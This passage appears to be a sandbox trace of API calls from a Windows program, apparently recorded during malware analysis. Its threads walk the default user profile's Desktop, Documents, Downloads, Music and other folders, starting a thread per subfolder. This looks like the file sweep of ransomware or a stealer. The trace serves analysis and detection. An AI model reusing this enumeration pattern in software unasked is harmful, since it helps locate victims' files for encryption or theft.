	[0077.366] wcscat (in: _Dest=0x2dad638, _Source="\\" | out: _Dest="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\"
	[0077.366] wcscat (in: _Dest=0x2dad638, _Source="*" | out: _Dest="C:\\Users\\Default\\Desktop\\*") returned="C:\\Users\\Default\\Desktop\\*"
	[0077.366] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a20b8
	[0077.366] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*", lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70700
	[0079.443] wcscmp (_String1=".", _String2=".") returned 0
	[0079.443] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.443] wcscmp (_String1="..", _String2=".") returned 1
	[0079.443] wcscmp (_String1="..", _String2="..") returned 0
	[0079.443] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.443] FindClose (in: hFindFile=0x2d70700 | out: hFindFile=0x2d70700) returned 1
	[0079.443] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a20b8) returned 1
	[0079.443] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dad638) returned 1
	[0079.443] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dacc38) returned 1

Thread:
	id = 450
	os_tid = 0x1630

	[0077.366] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2dfae38
	[0077.366] wcscpy (in: _Dest=0x2dfae38, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents"
	[0077.366] wcscat (in: _Dest=0x2dfae38, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\"
	[0077.366] wcscat (in: _Dest=0x2dfae38, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\*") returned="C:\\Users\\Default\\Documents\\*"
	[0077.366] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a2320
	[0077.366] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*", lpFindFileData=0x47a2320 | out: lpFindFileData=0x47a2320*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dac978
	[0078.068] wcscmp (_String1=".", _String2=".") returned 0
	[0078.068] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x47a2320 | out: lpFindFileData=0x47a2320*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.068] wcscmp (_String1="..", _String2=".") returned 1
	[0078.068] wcscmp (_String1="..", _String2="..") returned 0
	[0078.068] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x47a2320 | out: lpFindFileData=0x47a2320*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1
	[0078.068] wcscmp (_String1="My Music", _String2=".") returned 1
	[0078.068] wcscmp (_String1="My Music", _String2="..") returned 1
	[0078.068] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x47cd730
	[0078.069] wcscpy (in: _Dest=0x47cd730, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents"
	[0078.069] wcscat (in: _Dest=0x47cd730, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\"
	[0078.069] wcscat (in: _Dest=0x47cd730, _Source="My Music" | out: _Dest="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music"
	[0078.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47cd730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd44
	[0078.069] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x47a2320 | out: lpFindFileData=0x47a2320*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1
	[0078.069] wcscmp (_String1="My Pictures", _String2=".") returned 1
	[0078.069] wcscmp (_String1="My Pictures", _String2="..") returned 1
	[0078.069] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2dabd40
	[0078.069] wcscpy (in: _Dest=0x2dabd40, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents"
	[0078.069] wcscat (in: _Dest=0x2dabd40, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\"
	[0078.069] wcscat (in: _Dest=0x2dabd40, _Source="My Pictures" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures"
	[0078.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dabd40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd48
	[0078.070] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x47a2320 | out: lpFindFileData=0x47a2320*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1
	[0078.070] wcscmp (_String1="My Videos", _String2=".") returned 1
	[0078.070] wcscmp (_String1="My Videos", _String2="..") returned 1
	[0078.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2dabad8
	[0078.070] wcscpy (in: _Dest=0x2dabad8, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents"
	[0078.070] wcscat (in: _Dest=0x2dabad8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\"
	[0078.070] wcscat (in: _Dest=0x2dabad8, _Source="My Videos" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos"
	[0078.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dabad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4c
	[0078.071] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x47a2320 | out: lpFindFileData=0x47a2320*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0
	[0078.071] FindClose (in: hFindFile=0x2dac978 | out: hFindFile=0x2dac978) returned 1
	[0078.072] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a2320) returned 1
	[0078.072] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfae38) returned 1
	[0078.072] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dacb78) returned 1

Thread:
	id = 451
	os_tid = 0x1634

	[0077.368] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2dfae80
	[0077.368] wcscpy (in: _Dest=0x2dfae80, _Source="C:\\Users\\Default\\Downloads" | out: _Dest="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads"
	[0077.368] wcscat (in: _Dest=0x2dfae80, _Source="\\" | out: _Dest="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\"
	[0077.368] wcscat (in: _Dest=0x2dfae80, _Source="*" | out: _Dest="C:\\Users\\Default\\Downloads\\*") returned="C:\\Users\\Default\\Downloads\\*"
	[0077.368] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a2588
	[0077.368] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*", lpFindFileData=0x47a2588 | out: lpFindFileData=0x47a2588*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad778
	[0078.064] wcscmp (_String1=".", _String2=".") returned 0
	[0078.064] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x47a2588 | out: lpFindFileData=0x47a2588*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.064] wcscmp (_String1="..", _String2=".") returned 1
	[0078.064] wcscmp (_String1="..", _String2="..") returned 0
	[0078.064] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x47a2588 | out: lpFindFileData=0x47a2588*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0078.064] FindClose (in: hFindFile=0x2dad778 | out: hFindFile=0x2dad778) returned 1
	[0078.064] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a2588) returned 1
	[0078.064] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfae80) returned 1
	[0078.064] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dacbb8) returned 1

Thread:
	id = 452
	os_tid = 0x1638

	[0077.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2dfaec8
	[0077.369] wcscpy (in: _Dest=0x2dfaec8, _Source="C:\\Users\\Default\\Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites"
	[0077.369] wcscat (in: _Dest=0x2dfaec8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\"
	[0077.369] wcscat (in: _Dest=0x2dfaec8, _Source="*" | out: _Dest="C:\\Users\\Default\\Favorites\\*") returned="C:\\Users\\Default\\Favorites\\*"
	[0077.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a27f0
	[0077.369] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*", lpFindFileData=0x47a27f0 | out: lpFindFileData=0x47a27f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad778
	[0078.076] wcscmp (_String1=".", _String2=".") returned 0
	[0078.076] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x47a27f0 | out: lpFindFileData=0x47a27f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.076] wcscmp (_String1="..", _String2=".") returned 1
	[0078.076] wcscmp (_String1="..", _String2="..") returned 0
	[0078.076] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x47a27f0 | out: lpFindFileData=0x47a27f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0078.076] FindClose (in: hFindFile=0x2dad778 | out: hFindFile=0x2dad778) returned 1
	[0078.076] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a27f0) returned 1
	[0078.076] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaec8) returned 1
	[0078.077] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dacbf8) returned 1

Thread:
	id = 453
	os_tid = 0x163c

	[0077.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2dad678
	[0077.370] wcscpy (in: _Dest=0x2dad678, _Source="C:\\Users\\Default\\Links" | out: _Dest="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links"
	[0077.370] wcscat (in: _Dest=0x2dad678, _Source="\\" | out: _Dest="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\"
	[0077.370] wcscat (in: _Dest=0x2dad678, _Source="*" | out: _Dest="C:\\Users\\Default\\Links\\*") returned="C:\\Users\\Default\\Links\\*"
	[0077.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a2a58
	[0077.370] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*", lpFindFileData=0x47a2a58 | out: lpFindFileData=0x47a2a58*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad778
	[0077.972] wcscmp (_String1=".", _String2=".") returned 0
	[0077.972] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x47a2a58 | out: lpFindFileData=0x47a2a58*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.973] wcscmp (_String1="..", _String2=".") returned 1
	[0077.973] wcscmp (_String1="..", _String2="..") returned 0
	[0077.973] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x47a2a58 | out: lpFindFileData=0x47a2a58*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0077.973] FindClose (in: hFindFile=0x2dad778 | out: hFindFile=0x2dad778) returned 1
	[0077.973] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a2a58) returned 1
	[0077.973] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dad678) returned 1
	[0077.973] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb040) returned 1

Thread:
	id = 454
	os_tid = 0x1640

	[0077.371] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x2e01da0
	[0077.371] wcscpy (in: _Dest=0x2e01da0, _Source="C:\\Users\\Default\\Local Settings" | out: _Dest="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings"
	[0077.371] wcscat (in: _Dest=0x2e01da0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\"
	[0077.371] wcscat (in: _Dest=0x2e01da0, _Source="*" | out: _Dest="C:\\Users\\Default\\Local Settings\\*") returned="C:\\Users\\Default\\Local Settings\\*"
	[0077.371] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a2cc0
	[0077.371] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*", lpFindFileData=0x47a2cc0 | out: lpFindFileData=0x47a2cc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0077.940] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a2cc0) returned 1
	[0077.940] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e01da0) returned 1
	[0077.940] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1

Thread:
	id = 455
	os_tid = 0x1644

	[0077.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2dad6b8
	[0077.372] wcscpy (in: _Dest=0x2dad6b8, _Source="C:\\Users\\Default\\Music" | out: _Dest="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music"
	[0077.372] wcscat (in: _Dest=0x2dad6b8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\"
	[0077.372] wcscat (in: _Dest=0x2dad6b8, _Source="*" | out: _Dest="C:\\Users\\Default\\Music\\*") returned="C:\\Users\\Default\\Music\\*"
	[0077.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a2f28
	[0077.372] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*", lpFindFileData=0x47a2f28 | out: lpFindFileData=0x47a2f28*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70e00
	[0079.430] wcscmp (_String1=".", _String2=".") returned 0
	[0079.430] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x47a2f28 | out: lpFindFileData=0x47a2f28*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.430] wcscmp (_String1="..", _String2=".") returned 1
	[0079.430] wcscmp (_String1="..", _String2="..") returned 0
	[0079.430] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x47a2f28 | out: lpFindFileData=0x47a2f28*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.430] FindClose (in: hFindFile=0x2d70e00 | out: hFindFile=0x2d70e00) returned 1
	[0079.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a2f28) returned 1
	[0079.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dad6b8) returned 1
	[0079.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb4a0) returned 1

Thread:
	id = 456
	os_tid = 0x1648

	[0077.373] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfafa0
	[0077.373] wcscpy (in: _Dest=0x2dfafa0, _Source="C:\\Users\\Default\\My Documents" | out: _Dest="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents"
	[0077.373] wcscat (in: _Dest=0x2dfafa0, _Source="\\" | out: _Dest="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\"
	[0077.373] wcscat (in: _Dest=0x2dfafa0, _Source="*" | out: _Dest="C:\\Users\\Default\\My Documents\\*") returned="C:\\Users\\Default\\My Documents\\*"
	[0077.373] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a3190
	[0077.373] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*", lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0077.942] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a3190) returned 1
	[0077.942] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfafa0) returned 1
	[0077.942] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb228) returned 1

Thread:
	id = 457
	os_tid = 0x164c

	[0077.373] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2dad6f8
	[0077.373] wcscpy (in: _Dest=0x2dad6f8, _Source="C:\\Users\\Default\\NetHood" | out: _Dest="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood"
	[0077.373] wcscat (in: _Dest=0x2dad6f8, _Source="\\" | out: _Dest="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\"
	[0077.373] wcscat (in: _Dest=0x2dad6f8, _Source="*" | out: _Dest="C:\\Users\\Default\\NetHood\\*") returned="C:\\Users\\Default\\NetHood\\*"
	[0077.373] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a33f8
	[0077.373] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*", lpFindFileData=0x47a33f8 | out: lpFindFileData=0x47a33f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0077.944] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a33f8) returned 1
	[0077.944] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dad6f8) returned 1
	[0077.944] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dacc78) returned 1

Thread:
	id = 458
	os_tid = 0x1650

